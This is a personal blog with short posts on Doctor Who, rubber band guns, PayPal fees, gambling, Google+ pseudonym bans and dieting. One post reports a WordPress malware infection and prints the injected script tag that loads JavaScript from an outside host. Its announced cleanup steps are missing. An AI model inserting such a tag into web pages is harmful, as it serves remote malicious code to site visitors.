Sometimes I just feel compelled to share nonsense, random thoughts, and sometimes just stuff I want to save
In 48 minutes the second half of Doctor Who Series 6 begins. I’m pretty excited about this. In any case, it will start recording from BBC America at 6pm PST12 , but I won’t be able to start watching it until my daughter goes to bed in another two hours.
I’ve waited a few months, I can wait another few hours. And, this way I won’t have to watch commercials…
I was just floored by this recent post to the Make blog. This is the most amazing rubber band gun I’ve ever seen in my life. 1 It genuinely looks like a P90 from Stargate SG-1, including the way in which ammunition is loaded. 2 Even if weren’t for how realistic it looks, the mechanism is still fantastic. It apparently has a single shot/semi-automatic and fully automatic mode. Here’s what I can’t believe – that the creator of this magnificent toy thought it necessary to obscure their face in the video. I would be proud to call this my own.
Since I’m on the topic, this next rubber band gun is also pretty cool.
The websites for the first gun is in Japanese, but the Google translation is pretty decent. The cut-away pictures show most of how the device works. Just as a head’s up, the way WordPress handles gallery photos puts all of these pictures into a single gallery even though I uploaded them at different times. The second gun appears to hold 8 shots and will “auto-return” the gun to its starting position. Although there are a few pictures of the piece from various angles, I don’t really understand how the auto-return mechanism works. If you’ve got an idea, I would appreciate your insight.
While I just had a birthday, I’m actually much more excited about the second half of Season Six of Doctor Who starting up this coming weekend.
Well, that was exciting. Apparently my website had been attached by some kind of SQL injection. I was curious if my self-hosted WordPress website had been attacked like 4,300 others. After some digging around, I found that this was not the case. A scan by UnmaskParasites.com revealed nothing unusual. However, a scan by Sucuri’s SiteCheck revealed some Javascript malware entries in some posts.
I say “some” posts. By this I mean 3300 posts and post revisions dating back to the very first blog entry on this website going to as recently as July 13, 2011. Not including this post, I’ve got 721 published blog entries – with almost all containing this little gem:
<script type=”text/javascript” src=”http://jsss.ce.ms/16″></script><script type=”text/javascript” src=”http://jsss.ce.ms/16″></script>
Here’s what I did to clean this infection:
It’s definitely possible to create a little WordPress plugin to clean this kind of an infection out, but there’s little incentive to do so when the manual fix is relatively easy. If you’ve got this kind of an infection in your site and don’t know how to take care of it, drop me a line.
So, PayPal has a micropayment system as well as a regular payment system. The micropayment fee is 5% + $0.05 while the normal fee is 2.9% + $0.30. For payments below $12.00, it makes sense to use the micropayments system and the normal system above that level.
Here’s the rub – you can only set up your PayPal account for one or the other. I’m working on a WordPress PayPal plugin, but I’d like to have that plugin work with micropayments without forcing all of my other PayPal transactions to go through that fee structure. Oh well.
WordPress is easily my favorite open source software project. I love it for it’s functionality, flexibility, and extensibility. When it comes to writing a plugin, these are my favorite resources. Don’t write a plugin without them!
See, I’m not a gambler. For any amount that I’d feel comfortable wagering, it would literally just be easier and take less time for to work a few extra hours. I recognize that if you’re an actual mathematician you could basically assure yourself of coming out ahead, but I’m just not interested in investing the time of time and resources to assuring myself of a successful gambling attempt. Again, it would be easier and less time consuming to just work a few extra hours rather than figuring out how to game a system.
In any case, anyone who enjoys gambling would probably tell you it’s the uncertainty, the rush, the thrill of gambling that they enjoy. If you offered them a way to increase their odds through strict mathematical approaches, they’d probably reject it. I am not able to enjoy it at all. I find gambling very stressful. The moment you put your money on the table, you’re already down and you’re hoping to break even or come out ahead from that point forward.
This is the long way of saying that you’ve got to love entrepreneurial spirit of the guys who’ve figured out how to game the Massachusetts lottery system…
I may have pinpointed the source of my website’s high resource usage woes. 1
If this works, I should be able to start up ProfileMaker again! Huzzah!
When I began blogging for MakerBot, it was with the stipulation that I would be able to continue to blog under my pseudonym. This was not a problem at all. In fact, I was assured that many people go by their adopted ‘nym’s which are more reflective of who they are than their given names ever were. I’m saddened and disappointed that Google+ does not recognize this and is apparently banning people from their Google accounts for using pseudonyms.
Seriously, guys? E-mail addresses, logins, Google accounts, they’re all pseudonyms of some fashion. If Google+ is supposed to be the equivalent of posting my driver’s license online to confirm my name, physical address, and organ donor status, you can delete my account right now. If, instead, it is about letting people use the names they’ve chosen to participate in social interactions with people who really only know them by those names… Then stop banning people.
</rant>
So, I’ve been on a self-imposed diet for the last 30 days. I’ve lost about 10 pounds so far by just not eating like a piggie, which is pretty cool.
I’ve been using Fitday.com1 very sporadically since April of 2004. I know this because I can go back and see what I entered for what I was eating and what I weighed back then. It’s a pretty cool feature. Kind of like Google Analytics for health.2 Friday was day 30 of my diet.
Unfortunately, Days 31 and 32 weren’t nearly as successful as days 1 through 30.
Here’s to tomorrow! Another day!
